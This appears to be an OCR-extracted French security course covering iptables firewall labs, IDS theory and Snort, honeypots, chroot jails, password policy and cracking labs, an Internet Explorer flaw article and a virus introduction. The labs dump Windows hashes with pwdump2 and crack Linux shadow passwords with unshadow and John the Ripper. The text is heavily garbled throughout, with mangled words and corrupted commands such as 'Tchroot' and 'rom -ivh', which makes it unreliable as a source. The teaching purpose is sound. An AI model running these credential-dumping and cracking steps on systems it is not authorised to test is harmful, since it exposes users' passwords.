Pour affiner notre regle nous disposons d’options qui vomhpére d’indiquer la provenance ou la destina-
tion du paquet.
— Renseignement du protocole utilisé: tcp udp icmp
— Renseignement de I'adresse et/ou du port sousck:(ADRS[/MASQ] [Port début][ :][fin]
— Renseignement de I'adresse et/ou du port destinadicnPADRS[/MASQ] [Port début][ :][fin]
— Renseignement de I'un interface réseaethX, pppX, etc
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29.6 Exemple de configuration de Firewall

Refus des connexion telnet venant de I'extérieur :

ipchains -A input -i ethO -s 0/0 -d mon_ip telnet -p tcp -j DENY
Refus des connexion ftp venant de I'extérieur :

ipchains -A input -i ethO -s 0/0 -d mon_ip ftp -p tcp -j DENY
Refus des connexion smtp venant de I'extérieur :

ipchains -A input -i ethO -s 0/0 -d mon_ip smtp -p tcp -j DENY
L'ensemble de ces régles seront enregistrées dans unlaaggtau démarrage.

29.7 Travaux Pratiques
29.7.1 Linux : utilisation d’'IPTables

Disposant d'un noyau 2.4pchains  n’est plus utilisé dans les nouvelles versions de Linuxstc’e
iptables  qui est disponible. Pour l'utilisation qui en sera faite mn notera simplement que la directive
DENYa été remplacé par la commarROP

A noter : sous RedHat, la configuration de IPTables peut étre régtiaéée logiciel de configuration
lokkit — accessible par la commansetup oulokkit  directement.
Un excellent tutoriel (en anglais) sur IPTABLES est disfpdma I'adresse suivante :

http://iptables-tutorial.frozentux.net/iptables-tut orial.html

— Regarder les régles de firewall mise en place

Réponse :
iptables -L

— Exécuter I'utilitaire lokkit pour laisser passer le webdhcp, ssh.

Réponse :
lokkit; s electionner tous les choix dans customize

— Effacer toutes les régles iptables.

Réponse :
iptables -F

— Rendez votre machine invisible au ping par les commandesrgas :

iptables -A INPUT -d @IP -p icmp --icmp-type echo-reply -j DR oP
iptables -A INPUT -d @IP -p icmp --icmp-type echo-request -j DROP
— Testez

Réponse :


http://iptables-tutorial.frozentux.net/iptables-tutorial.html
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ping @IP du serveur prot ege par Firewall

— Pourquoi utiliser DROP plutét que REJECT ?

Réponse :
REJECT renvoie une trame ICMP indiquant un refus de r eponse, il va
donc indigquer au ping notre pr esence
— Supprimer les regles iptables
Réponse :
iptables -F; il est bien s Ur possible d'utiliser -D pour supprimer

les r egles une a une.

— Sice n'est déja fait, installer un serveur telnet sur voteehine.

Réponse :
rom -ivh telnet-server

— Bloquer les trames arrivant sur votre serveur afin d’empélels accés telnet.

Aides :

— le port utilisé par telnet est le 23.
& — on peut spécifier le port sur une régle iptables-padport <noport>
(P — on peut spécifier le protocole utilisé par -p <protocole>
Utiliser REJECT: tester.

@)
WA

Réponse :
iptables -A INPUT -p tcp --dport 23 -j REJECT
telnet indique que la connexion est refus ee par le serveur.
— Supprimer la régle précédente
Réponse :

iptables -D INPUT -p tcp --dport 23 -j REJECT

— Utiliser DROP tester.

Réponse :
iptables -A INPUT -p tcp --dport 23 -j DROP
telnet n’indique rien, les trames r eéseaux etant tout simplement
ignor ee

Il est bien s(r possible de logger les interactions du Fileya OG .
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4 iptables -A INPUT -p tcp --dport 23 -j LOG
‘& iptables -A INPUT -p tcp --dport 23 -j REJECT

Pour que les logs apparaissent dans un fichier séparésyd@stsaire de modifier le fichigyslog.conf
en indiquant :

| kern.warning /var/log/iptables.log |

29.7.2 Windows : installation et configuration de ZoneAlarm

— Installer ZoneAlarm sur votre machine
— Créer un partage complet sur I'un de vos répertoires, dderanvotre voisin d'y accéder.. Faire le
nécessaire pour pouvoir y accéder.

Réponse :
Trusted Zone : 127.0.0.1 + R eseau local

— Interdire a Internet Explorer (faille de sécurité en sdificcéder a Internet Explorer)

Réponse :
Program Control : Add ... Internet Explorer Block




Chapitre 30

IDS [12]

30.1 Introduction

Qu’est ce qu’'un IDS (Intrusion Detection System) ? Un IDSysille les signatures d’attaques, qui sont
représentées par des motifs spécifiqgues qui souvent imtiges intentions malicieuses ou suspectes. Lors-
gu'un IDS surveille ces motifs sur le réseau grace a unefateren mode promiscius, celui-ci devient un
NIDS (Network IDS).

30.2 Bibliothéques de signatures contre détection d’anonlias

On peut dans un premier temps classer tous les outils detidétetintrusion selon deux modes de
fonctionnement selon qu’ils se basent sur des signatuatsadues ou sur des modéles comportementaux.

30.3 IDS a Bibliothéques de signatures

Le concept de bibliothéque de signatures d’'attaque egpricahe la plus basique et la plus ancienne.
Cette approche consiste a rechercher dans I'activité tia@nt surveillé les empreintes (ou signatures)
d’attaques connues. Cette démarche appliquée a la détedtitrusion, est tres similaire a celle des outils
antivirus et présente les méme inconvénients que cellé et khisé de comprendre que ce type d’IDS est
purement réactif ; il ne peut détecter que les attaques tpossede la signature. De ce fait, il nécessite des
mises a jour quotidiennes. De plus, ce systéeme de détestianssi bon que I'est la base de signatures. Siles
signatures sont erronées ou incorrectement conguesifdnseu systéme est inefficace. C'est pourquoi ces
systémes sont souvent contournés par les pirates queuntiliies techniques dites "d’évasion" qui consistent
a magquiller les attaques utilisées. Ces techniques de Heputendent a faire varier les signatures des
attaques qui ainsi ne sont plus reconnues par I'IDS. Ce mcekdl par contre trés aisé a implémenter et
a optimiser. Il permet la séparation du moteur logiciel dedae de signatures qui peut ainsi étre mise a
jour indépendamment. Il permet également une classifitaditativement facile de la criticité des attaques
signalées.

30.4 IDS a Modeles comportementaux

Les modeles comportementaux sont apparus bien plus tarkguieS a signatures. lls ont pour prin-
cipe la détection d’anomalies. Leur mise en oeuvre comptaumdurs une phase d’apprentissage au cours
de laquelle ils vont " découvrir " le fonctionnement "nortidés éléments surveillés. Une fois cet apprentis-
sage effectué ces IDS signaleront les divergences par negopéonctionnement de référence. Les modéles
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comportementaux peuvent étre élaborés a partir d’anafastiques ou de techniques proches de I'intel-
ligence artificielle. La principale promesse des IDS cortgoentaux est la détection des nouveaux type
d’'attaque. En effet ces IDS ne sont pas programmeés pourmattomdes attaques spécifiques mais signalent
toute activité "anormale". De ce fait une attaque ne doitngessairement étre connue d’avance ; dés lors
gu’elle représente une activité anormale elle peut étrectiée par I''DS comportemental. Du fait méme de
leur conception ces IDS sont incapables de qualifier lac@tstdes attaques. De plus, ces IDS signaleront par
exemple tout changement dans le comportement d’un uélisafu’il soit hostile ou non. De fréquents ajus-
tements sont nécessaires afin de faire évoluer le modéldétemée de sorte qu'il refléte I'activité normale
des utilisateurs et réduire le nombre de fausses alert&ségsn

30.5 Reéseau contre Systeme

Les IDS peuvent également se classer selon deux catégajesnes selon qu'ils s’'attachent a surveiller
le trafic réseau ou I'activité des machines. On parle d'ID2a@ (NIDS : Network IDS) ou d'IDS Systeme
(Host based IDS).

30.6 IDS Réseau

Ces outils analysent le trafic réseau ; ils comportent gégm@emnt une sonde qui " écoute " sur le segment
de réseau a surveiller et un moteur qui réalise I'analyseafic &afin de détecter les signatures d’attaques ou
les divergences face au modéle de référence. Les IDS Résme @le signatures sont confrontés actuelle-
ment a deux problémes majeurs qui sont : le développemehitiisation du cryptage et le développement
des réseaux commutés. En effet, il est d’'une part plus diffici'écouter” sur les réseaux commutés et le
cryptage rend I'analyse du contenu des paquets presquessibpm La plupart des NIDS sont aussi dits
IDS inline car ils analysent le flux en temps réel. Pour cetteon, la question des performances est tres
importante car de tels IDS doivent étre de plus en plus pmdats afin d’analyser les volumes de plus en
plus importants pouvant transiter sur les réseaux.

30.7 IDS Systeme

Les IDS Systémes analysent quant & eux le fonctionnemetétatides machines sur lesquelles ils sont
installés afin de détecter les attaques. lIs sont trés dépéndu systéme sur lequel ils sont installés. Il faut
donc des outils spécifiques en fonction des systemes déplogs IDS peuvent s’appuyer sur des fonction-
nalités d’audit propres au systéme d’exploitation ou noarperifier I'intégrité du systéme et générer des
alertes. Il faut cependant noter qu'ils sont incapablesédedter les attaques affectant les couches réseaux
de la machine ; typiquement les Déni de service comme SYN HDOQautre.

30.8 Laréalité du marché

Actuellement de nombreux produits sont disponibles, oestappartiennent méme au domaine public
(SNORT http ://www.snort.org). Leur complexité de mise euwre et leur degré d'intégration sont trés
divers. Méme si les outils strictement basés sur des modéhaportementaux sont actuellement en perte
de vitesse ; des modeéles de ce type sont de plus en plus imgédes IDS initialement basés sur une biblio-
theque de signatures. En effet, certains éditeurs ont diéjéefchoix de compléter leur base de signatures
par un modele comportemental basique permettant de sighedeévénements non identifiables. Les IDS
systemes sont un peu en retrait face aux IDS réseaux méme deogiers sont confrontés comme nous
I'avons vu a des problématiques qui devraient beaucoup paséeur avenir.
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30.9 Le futur

On peut penser que dans un futur proche devrait apparatesdgtvelopper les IDS distribués. Ceux-ci
consisteraient en agents déployés sur tous (ou presqueddesis du réseau et agissant comme autant de
sondes réseau et d'IDS systemes. Ces agents analyseeararitiréseau a destination de la machine sur la-
quelle ils seraient installés et contrbleraient égalerfiatdgrité de ce systeme. Le point central deviendrait
alors un "serveur IDS" auquel tous les agents devraientearaimpte et qui seraient en mesure d’agréger et
de consolider les informations en provenance des agentdefjgnérer les alertes.

30.10 Ciriteres de choix

Aujourd’huiles systémes de détection d’intrusion sonileéeent devenus indispensables lors de la mise
en place d’'une infrastructure de sécurité opérationnéglg’intégrent donc toujours dans un contexte et une
architecture qui imposent des contraintes pouvant étsedix@rses. C'est pourquoi il n’existe pas de grille
d’évaluation unique pour ce type d’outil. Pourtant un derteombre de critéres peuvent étre dégagés; ceux
ci devront nécessairement étre pondérés en fonction dexterde I'étude.

— Fiabilité : Un détecteur d’intrusion doit étre fiable ; lderges qu'il génére doivent étre justifiées et
aucune intrusion ne doit pouvoir lui échapper. Un IDS gémtdrap de fausses alertes sera a coup sar
désactivé par I'administrateur et un IDS ne détectant riea apidement considéré comme inutile.

— Reéactivité : Un IDS doit étre capable de détecter les nawéges d'attaques le plus rapidement
possible ; pour cela il doit rester constamment a jour. Dpaciéés de mises a jour automatiques sont
pour ainsi dire indispensables.

— Facilité de mise en ceuvre et adaptabilité : Un IDS doit &céld a mettre en oeuvre et doit pouvoir
surtout s’adapter au contexte dans lequel il doit opéreestlinutile d’avoir un IDS émettant des
alertes en moins de 10 secondes si les ressources nécessaire réaction ne sont pas disponibles
pour agir dans les mémes contraintes de temps.

— Performance : la mise en place d'un IDS ne doit en aucun tectarf les performances des systémes
surveillés. De plus, il faut toujours avoir la certitude dUieS a la capacité de traiter toute I'informa-
tion & sa disposition (par exemple un IDS réseau doit étratdaple traiter 'ensemble du flux pouvant
se présenter a un instant donné sans jamais perdre de paguetans le cas contraire il devient trivial
de masquer les attaques en augmentant la quantité d'infiorma

— Multicanal : Un bon IDS doit pouvoir utiliser plusieurs eax d'alertes (email, pager, téléphone,
fax...) afin de pouvoir garantir que les alertes seront gffement émises.

— Information : L'IDS doit donner un maximum d’informatiossr I'attaque détectée afin de préparer

la réaction.
— Classification : il doit étre aisé de hiérarchiser la geadiés attaques détectées afin d’adapter le mode
d’alerte.

30.11 Exemples de signatures [5]

30.11.1 Signature de I'attaque LAND

IP SOURCE = IP DESTINATION Donc sur un réseau tout paquet HhSOURCE = IP DESTINA-
TION est porteur d’'une attaque LAND.

30.11.2 Signature de I'attaque SMURF

Tout trafic entrant sur I'adresse de broadcast est portemecittaque SMURF.
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30.11.3 Signature d'une attaque DNS : transfert de zone

Tout trafic entrant sur du port 53 TCP est un transfert de zone.

30.11.4 Signature paquet suspect

Tout paquet TCP ayant les drapeaux SYN et FIN définis estodtane attaque car en temps normal
on ne peut pas demander en méme temps une ouverture de stssierfermeture de session.

30.11.5 Signature paquet fragmenté

Sidans le dernier fragment d’un paquet fragmenté, la tplille son OFFSET est plus grand que le MTU
du réseau, le paquet est suspect.

30.11.6 Signature ICMP

Tout paquet ICMP écho request entrant est suspect.

30.12 Conclusion

Les IDS sont actuellement des produits mdrs et aboutis.olfgimuent d’évoluer pour répondre aux
exigences technologiques du moment mais offrent d’oregjatuh éventail de fonctionnalités capable de
satisfaire les besoins de tous les types d'utilisateurani®ins comme tous les outils techniques, ils ont
des limites que seule une analyse humaine peut compens@elWnomme les Firewalls, les détecteurs
d’intrusion deviennent chaque jour meilleurs grace a l&rignce acquise avec le temps mais ils deviennent
aussi de plus en plus sensibles aux erreurs de configuratie garamétrage. Par conséquent, il est plus
gue fondamental de former correctement les personnesédsadg la mise en oeuvre et de I'exploitation des
IDS. Malheureusement, il semble que c’est encore la ou adijoui encore subsiste la plus grande partie de
la difficulté.

30.13 Travaux Pratiques
30.13.1 Snort

— Installer snort
— Regarder la base de signatures de Snort

Réponse :
vi /etc/snort/snort-lib

— Lire la documentation de hPing, utiliser le pour envoyer tl@mes volontairement malformées.

30.13.2 Note sur les logs de snort

Par défaut les logs de Snort sont compressés en format tgpduest donc possible de les lire de 2
fagcons:

— Par tcpdumptcpdump -r /var/log/snort/snort.log

— Par snort, avec l'utilisation des librairies de signasure
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mkdir /tmp/dir On crée un répertoire pour les stocker les informationaérs
cd /etc/snort On se mets dans le répertoire de snort
. snort.conf On lit les valeurs par défaut de configuration
snort -r /var/log/snort/snort.log -S “HOME_NET=$DEBIAN_ SNORT_HOME_NET”
-c /etc/snort/snort-lib -l /tmp/dir
Enfin, il est possible de consulter la bases de données de: &ttpr//www.snort.org/snort-db/
pour obtenir de plus amples formations sur I'une des sigaatu


http://www.snort.org/snort-db/

Chapitre 31

Les Pots a Miel (Honey Pots) [7]

31.1 But

Le but principal est de connaitre les outils, les tactiquéssamotivations de la communauté Black Hat
et partager les legcons ainsi acquises.

lIs permettent par la méme occasion de voir les effets des(gection’ 36.2 page : 1138).
— Recherche

— ldentification des nouveaux outils : exploitation de ndl@gevulnérabilités

— ldentification des nouvelles tactiques : backdoors

— Profilage des Black Hats : "I know plenty of people that'd pagrbatent amounts for packeting"”

Prévention & prédiction rapide

Réponse sur incident

Développer des compétences

Self-defense

i 1

LF.

2| REVEALING THE SECUIITY TOOLS, o
TACTICS, AND MOTIVES o=
OF THE BLACHHAT COMMUNITY

Fic. 31.1 — Connaitre son ennemi ...

lyvéritable pirate dénué de scrupules, n’hésite pas a comenis dégats lors de ses intrusions indélicates dans &murés
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31.2 HoneyPots
31.2.1 Définition

Un pot a miel représente une ressource sécurisée qui n'aaweleur réelle mais une valeur fictive.
Ce pot a miel a pour but d’attirer les abeilles afin qu’ellesugirent. Dans notre cas, le but est d’inviter
les hackers a scanner la machine, I'attaquer, la corrorBpea.sdr, toutes les intéractions sont suivies a la
loupe par 'administrateur systeme & réseaux.

31.2.2 Danger

Risque élevé, attire les abeilles mais aussi les guépes &elens. Il existe une grande interaction avec
l'attaquant. Le systéme demande une surveillance comstant

31.3 Honey Net
31.3.1 Définition

C’est un réseau de Pot a Miel. Il permet de recréer une acthitecompléte d’un réseau avec des vrais
serveurs parmi des faux. Une fois que I'un des systémes gsincpu ou attaqué, on en analyse les logs afin
de connaitre ce qui a été utilisé.

===

Production Production Production

Honeynet

N

loy server Honeypot Honeypot

ensor

LG

FiG. 31.2 — Exemple de réseau de Pots a Miel
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31.4 Fonctionnement

Réseau hautement contrélé dans lequel tous les paquetstsriu sortants sont enregistrés, capturés et
analysés. Tout trafic réseau est suspect.

31.4.1 Danger

Les Honeynets sont hautement complexes et requiérent dereases ressources humaines et machines.
Les Honeynets représentent une technologie a Haut Ridguseuvent étre utilisés pour attaquer ou des-
cendre d’autres systémes qui ne sont pas eux des HoneyNets.

31.5 Virtual Honeynets

Tous les éléments d’'un réseau Honeynet sont combinés sweuteeet méme machine physique. Ceci
est réalisé en exécutant de muliples instances de difésgatemes simultanément, en utilisant par exemple
VMware et Linux en mode console.

31.6 Conclusion

Il est suprenant de pouvoir lire ce que I'on peut apprendiega une honeypot : "An Evening with Ber-
ferd In Which a Cracker is Lured, Endured and Studied” de@ileswick { tp ://ftp.netsys.com/len/papers/berferd.pdf).
Par contre la proximité entre Pirate et Administrateur &st proche voire malsaine et la nécessité d’écoute
doit étre de tous les instants.

En résumé : nécessite une personne avec de larges compétispenible et ayant du temps a consacrer
a I'épluchage des logs. Profil de chercheur universitairgéaéral.
De plus, les pots a miel ne protégent phsattirent ...


f

Chapitre 32

Chrooting : Technique
d’emprisonnement [8]

32.1 Qu’'estce que le chrooting ?

La commande/fonction chroot est I'abréviation de "charlgeracine", et désigne le changement de
racine du sytéme de fichiers sur I'environnement d’'appbeatCeci signifie que Ié initial dans tous les
noms de chemins sera relatif au chemin chrooté.

32.2 Exemple

Si un fichier nomméhome/jonz/hello.txt existe sur le systeme et que je chrootekome/jonz
le fichier existera toujours dans I'environnement chrooéésrson chemin serghello.txt

32.3 But

Le but du chrootage est de créer une prison théoriguemerénétmable protégeant ainsi tout ce qui
est a I'extérieur de la prison. Dans I'exemple ci-dessusglia impossible d’accéder aux fichiers en dehors
de/home/jonz , puisque maintenarit pointe sufhome/jonz . Le chrootage est communément utilisé
dans les environnements multiutilisateurs pour protégeystéme de fichiers. Le Chrootage peut aussi étre
utilisé pour emprisonner des démons (services réseauxpafjrévenir les attaques des hackers. Si un
hacker exploite une vulnérabilité d’'un démon systéeme dié;aa capacité a affecter les fichiers en dehors
de la prison ou obtenir un accés root est réduite au minimwnprincipale raison de l'utilisation de cette
méthode est que le shell n'est plus une partie de I'envirovam, donc méme si un hacker casse la pile, il
n'y a pas de shell a faire tomber. De nombreuses personnésdiqué qu’elles étaient capable de casser
une prison, mais dans de nombreux cas, il y avait un shellce’existe pas dans le cas d’une prison pour
démon). Sortir d'une prison pour démon est extrememenctiifi

32.4 Conclusion
Les démons associés aux protocoles FTP et SSH utiliserdgifoohement. Celui-ci permet notamment

au niveau de FTP de faire des ouvertures de sypmymous
La version libre de SSH (OpenSSH) n’intégre pas cette fonotlité, il est cependant possible de réaliser
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lost + found

hittpd

bin
boot
cache
chroot
adev
etc
home
lib

lost + found
mirit

prac

dev
etc
lib
usr
var
home

root Watre prizon qui héherge le
shin Serveur Web Apache Hite
tmp et dort le propriétaire est

US' ili. n "
var l'utilisateur "

1 La prizon "Bulle" qui contient une copie réduite
de la structure du systéme Linux.

Wotre systeme de fichiers Linu.

FiG. 32.1 — Chroot sur le démon Apache

cet emprisonnement en modifiant quelque peu le code souneevidnérabilité demeure tout de méme pour
ces deux services, I'acces a un shell (plus ou moins réduit).

32.5 Travaux Pratiques

32.5.1 Créer un chroot minimal

— Sous root, créer les répertoires bin et lib dans un répentbroot

Réponse :
mkdir -p  7chroot/bin Tchroot/lib

— Copier le bash dans le répertoire bin

Réponse :
whereis bash; cp /bin/bash Tchroot/bin

— Al'aide de la commandield visualuser les librairies utilisées par bash.

Réponse :
Idd /bin/bash

— Copier les dans votre répertoire lib

Réponse :



CHAPITRE 32. CHROOTING : TECHNIQUE D’EMPRISONNEMENT] 129

Idd /bin/bash | awk ' print "cp " $3 " /home/eric/chroot" $3 ' |
/bin/bash

— Tester

Réponse :

‘ chroot  Tchroot

32.5.2 chroot en mode Rescue

— Utiliser le CD1 de votre distribution RedHat en mode rescue
— Déplacer vous dans le répertoire /mnt/sysimage. Notdrdenin.

Réponse :

cd /mnt/sysimage; pwd

— Comme indiquer dans I'aide chrootez votre systeme monté.

Réponse :

chroot /mnt/sysimage; pwd

— Conclusion

Réponse :

La racine a chang & de place, nous sommes “sur un autre syst eme”.




Chapitre 33

Mots de passe

33.1 Les mots de passe

Les mots de passe permettent d’obtenir un accés & une zaieleale votre systeme. Méme si cet acces
vous semble bénin, toute porte d’entrée dans votre systiigsella place a plus grand vandalisme et permet
souvent la mise en place de logiciels a des fins de piratagés bands.

33.2 Quelques regles dans la création des mots de passe

33.2.1 Les mots de passe a éviter

Eviter ce qui peut étre deviné (et sera essayé par des proggastylecrack) :

— Son propre mot de login! Si la liste des utilisateurs esnc@nattaque triviale...
Suites de touches clavier

Numéros de téléphones ou de plagues minéralogiques petson

Noms/prénoms de I'environnement personnel

Mots de n'importe quelle langue a I'endroit ou a I'envers

Personnages/mots de romans, jeux,...

Des maodifications simples des cas précédents : chiffre natpation avant ou apres

33.2.2 Regles de constitution de mot de passe "solide"

— Le mot de passe doit utiliser une combinaison de caractierésus types (notamment non alphanu-
mérique).

— Il doit contenir 6 a 7 caractéres différents au moins.

— Il doit étre facile a retenir pour ne pas avoir besoin deritéc

— Il doit utiliser :

des caracteres de controle,

et/ou de ponctuation,

et/ou des chiffres

et/ou des lettres majuscules et minuscules.

Et comme nous I'avons vu précédemment :
— Il ne doit pas faire référence a une information :
— générale ou personnelle.
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— liée al'installation du systéme, a I'entreprise ou a lamgation.
— au dictionnaire (frangais, anglais ou autre)

33.3 Exemple d’'une méthode de création de mot de passe

Il est possible d’utiliser une phrase clé et d’en extrairpriamiére et la dernére lettre de chaque mot de
la phrase.
Exemple
"Je suis en cours de sécurité"
Jsecds
Puis on rajoute des caracteres spéciaux.
J&s#ecds

33.4 Cryptage des mots de passe

Un mot de passe crypté est créé a partir de la fonction crygbie<€i utilise votre mot de passe et du sel (2
caracteres déterminé ou non de maniéere aléatoire) pouectgpnot de passe. Le sel permet de faire monter
la sauce i.e. de mélanger les lettres du mot de passe de mar@&crypter d'une certaine fagon. Le sel se
retrouve dans les deux premiéres lettres du mot de passk @fyp de pouvoir établir la fonction inverse
(décryptage). C'est pour cette raison que les fichiers de a®passe UNIXetc/passwd  n’indiquent
pas le mot de passe méme crypté. Celui-ci est consigné ddichignshadow qui n’est lisible et modifiable
que paroot .

Listing 33.1 — Exemple de I'utilisation de la fonction crypt

#include <stdio.h>
#define _XOPEN_SOURCE_
#include <unistd .h>

void main ()

{
const char cle [30];
const char sel [3];
sprintf (cle,"%s", "coucou");
sprintf (sel,"%s", "ab");
printf ("%s\n", crypt(cle,hsel));
}

33.5 Travaux Pratiques : test des mots de passe

Il est possible d'utiliser “a des fins de tests” les mémestaities que les pirates. Je citerai notamment
John The Ripper qui permet de détecter le degré de sécurité des mots de passe systeme Linux ou
Windows.

John The Ripperhttp://www.openwall.com/john/


http://www.openwall.com/john/
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33.5.1 John The Ripper sur Windows
Installation de pwdump2

Afin de récupérer la liste des mots de passe et des utilisatietwindows, il est nécessaire d'utiliser le
logiciel pwdump2

— Télécharger le logicigdwdump2 sur
http://www.bindview.com/Support/RAZOR/Utilities/Win dows/
Décompresser le fichier dans le répertaiipwdump?2
Ouvrir une commande MS-DOS et se rendre dans le répectyingdump?2
Exécutepwdump2en redirigeant la sortie vers un fichipwvdump2 > motdepasse.txt
Le fichiermotdepasse.txt contient maintenant les utilisateurs avec leurs mots despayptés.
Editer le fichier et supprimer les utilisateurs invalides (nots de passes cryptés qui leur sont associés
sont en effet non conformesgdit c:\pwdump2\motdepasse.txt

Installation et exécution de John The Ripper

Décompresser John sur le répertaire\john16
Se rendre dans le répertoiten de john :cd c:\john16\run
Copier le fichier de mot de passe précédémment généré stpedaire :
copy c:\pwdump2\motdepasse.txt .
Exécuter Johnjohn motdepasse.txt
Les mots de passe apparaitront dans quelques secondesiudasnin
Il est & noter que I'encryptage de Microsoft est trés faibblgue de ce fait, peu de temps est néécessaire
pour casser les-dits mots de passe. Il faut donc d’autastiloder le dit mot de passe.

33.5.2 John The Ripper sur Linux
Installation de John

— Décompresser le fichier

Réponse :
tar xvzf john*.tgz

cd john-1.6/src

make nous permet de connaitre le bon paramétre de compilation
— make generic :compilation du logiciel

L'exécutable se trouve maintenant dans le réperfohia-1.6/run

Exécution de John

John peut étre exécuté de 2 maniéres générales :
— soit on possede le fichier shadow et le fichier passwd ; dacaci :
Junshadow /etc/passwd /etc/shadow > passwd.l
Jjohn passwd.1 Les mots de passes asscociés aux utilisateurs apparaissent
— soit le systeme est configuré sans shadow password, on sedeoslors que le fichier password et
danscecasla:
cp /etc/password passwd.l
Jjohn passwd.1
— sil'on possede uniqguement le fichier shadow
Jjohn shadow


http://www.bindview.com/Support/RAZOR/Utilities/Windows/
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l'option -users :<user> permet de faire la recherche du mot de passe pour UN groupeNou U

utilisateur.
Le répertoire doc contient des exemples et de nombreusestaichniques...

33.6 Gestion des mots de passe

33.6.1 Paramétrage par défaut

— Ouvrez le fichiefetc/login.defs
— Regarder la section Password aging controls

33.6.2 PAM : Pluggable Authentification Modules : les mots dpasse

Pour comprendre le module PAM, il est nécessaire de savajuesignifie les éléments suivants :

Type
auth Le module qui autorise I'authentification.
account Le module qui vérifie si I'authentification est aigée, par exemple que la date d’expiration du compte n
password Identifie le module qui permet de changer les maisisiee.
session Le module qui est activé quand I'utilisateur estentifié.

Stratégie d’authentification

requisite  Le module doit réussir. A défaut PAM met fin & I'aritification sans exécuter les autres modules.
sufficient  Sile module réussit, 'authentification est gték et les autres modules du méme type ne sont pas exécu
required  L'exécution du module est obligatoire.
— regarder le fichietetc/pam.d/passwd
— pam_stack.so est un module particulier permettant dleppé&utres services avec une méme inter-
facel
— regarder le fichiefletc/pam.d/system-auth ,noter la présence de la bibliothéque pam_cracklib.so

33.6.3 Quelques mots sur Cracklib

— Requires the system libralipcrack  and a system dictionaryustr/lib/cracklib_dict.
— Peut vérifier notamment les points suivants :
— Palindrome
— Case Change Only : I'ancien mot de passe est identique aawman changeant la casse des carca-
teres.
— Similaire : Le nouveau mot de passe est trop similaire &i&an
— Simple : Le mot de passe est trop simple (trop court).
— Rotated : Le nouveau mot de passe est un mélange de I'anoissterpasse.
— Already used : Le nouveau mot de passe a déja été utilisé.

1In a nutshell, pam_stack lets you "call", from inside of theck for a particular service, the stack defined for any asratkrvice.
The intention is to allow multiple services to "include" asm-wide setup, so that when that setup needs to be changedd only
be changed in one place.
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Conclusion

Malgré toutes les solutions vues précédemment pour cdes@ttaques du net, la sécurité passe avant
tout par une veille technologique de tous les instants comouas le montre cet article.

134



CHAPITRE 34. CONCLUSION 135

Neuf nouvelles failles pour Internet Explorer  Jéréme Saiz, 01net., le 28/10/2002 a 19h00

Du vol de documents & I'exécution de code sur le PC, les dépdiisntiels de ces faille
sont nombreux. Aucun correctif n'est disponible pour ftarg. Microsoft, prévenu tardivemen
mene lI'enquéte.

2

—

Ces neufs défauts du navigateur Internet Explorer partagea origine commune : un obs
cur défaut de validation des zones de sécurité. lls connerles versions 5.5 et 6 d’Internet
Explorer, ainsi que les navigateurs MSN et AOL, qui parta¢geméme technologie.

Internet Explorer 6 SP1 n’'est cependant sensible qu'a ueet-§tre deux, de ces failles, tan-
dis que les versions antérieures a la 5.5 sont totalemenams@es.

Les neufs failles ont étés découvertes par la société Grayidyigui a rapidement publié ses
trouvailles. Cette démarche a exaspéré Microsoft, quiadéple ne pas avoir eu le temps de réagir :
« Nous regrettons que ce rapport ait été rendu public avanhqus ayons eu la moindre occasion
de I'étudier. Sa publication pourrait mettre nos clientslanger, et au minimum semer la confusion
et le doute », fait remarquer Bernard Ourghanlian dans cesemble désormais étre la répor|se
officielle & chaque découverte d’'une faille par un tiers.

D

De son coté, Grey Magic se dédouane en expliquant que Mitrosfuse habituellement d
reconnaitre les failles et ne réagit qu’'une fois mis au pieddir. Mais dans cette querelle de
clochers, I'essentiel demeure : Internet Explorer est deveau gravement mis en défaut, |et
aucun correctif n’est encore disponible. « Nous faisonsagte 9d’avancer au plus vite sur cette
investigation », déclare Bernard Ourghanlian.

De nombreuses possibilités d’abus
Concréetement, toutes ces nouvelles failles permettentgrate d’échapper au cloisonnement que
le navigateur met en place entre Internet et le systéeme. |@alpeut ainsi forcer un script issu
d’'une page web (zone « Internet ») & agir sur le systéme (ztwoeade ») et ainsi voler un cookie
d’authentification, lancer un programme quelconque ougémr des documents.

Pourtant, Internet Explorer se protége habituellementdplbien contre ces attaques : le na-
vigateur s’assure, lorsque le contenu de deux fenétresloé@rcommuniquer, que toutes les deux
appartiennent a la méme zone de sécurité (Internet ou Docale

Hélas, les développeurs de Microsoft ont oublié d’étendre contrbles a certaines méthodes
et objets du navigateur (notamment ceux liés au cache)t @'ése a ces composants qu’un pirate
peut jouer aux vases communicants et manipuler une fer&aéeldepuis une fenétre Internet.

—

En attendant le correctif ad hoc, la seule protection est @sdativer les fonctions de script
d’'Internet Explorer. Ou de profiter de I'occasion pour essayn autre navigateur, tel Mozilla ou
Opera...




Septieme partie

Le plus grand danger : soit!

136



Chapitre 35

Introduction

“You are dangerous”
Toute personne possédant un acces au serveur Web ou aur skrveessagerie,
Toute personne possédant un acces réseau au poste de isditenr,
Tout personne possédant un accés au poste du webmaster,
Toute personne de votre société,
Toutes ces personnes sont potentiellement dangereuses.

Au travers de votre courrier électronique, des logiciefdatés sur votre machine, des visites sur les es-
paces Web ou méme de vos relations personnelles, il esbpogsie vous ayez transmis des informations
permettrant de rompre la sécurité de votre systéeme infogoat

— Les virus, petits programmes destructeurs du début desear@®, ils sont devenus des outils d’infor-
mations ou de véritables espions.

— A des fins de maintenance et bien sir toujours dans un soatiédiorer le produit, les logiciels
commerciaux ou non peuvent devenir de véritables spywares.

— Ohle beau site Web ! Oh qu’il est intéressant ce jeu de Téttis JavaScript, le VBScript, les Applets
Java, des outils de programmation qui ne peuvent pas vaanteou de votre disque mais qui par leur
puissance sont capables d'utiliser la moindre faille deistcde votre systéme d’exploitation pour
aller piocher les informations.

— Voulez vous un gateau? Eh oui les cookies sont bien pratiqags lorsque I'on pense que notre
disque peut étre lu, ils deviennent un peu indigestes.

— Vous aimez le c6té relationnel ? Trés bien, mais méfiez Vingenierie sociale est une méthode pour
vous inciter a dévoiler des informations.
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Les Virus

36.1 Introduction

Au milieu des années 80, afin de se protéger des copies ékgdalleur logiciel, Basit et Amjad ALVI
de Lahore créérent le premier virus informatique. Ce pnogne placait sa propre réplique et un message
de copyright dans chacune des disquettes copiées parrée téepremier virus était né. Aujourdh’ui 20 ans
apreés, les techniques virales sont de loin beaucoup plugé&aset peuvent permettre le piratage aisé de vos
serveurs.

36.2 Définition

"Un virus est un petit programme situé dans le corps d’uneagjui, lorsqu’on I'exécute, se charge en
mémoire et exécute les instructions que son auteur a progédm

En quoi ceci nous concerne ?

Le programme exécuté par le virus peut étre de n'importetypel et notamment réseau. Il peut donc a
votre insu modifier ou envoyer des données contenues sunveLseue vous administrez.
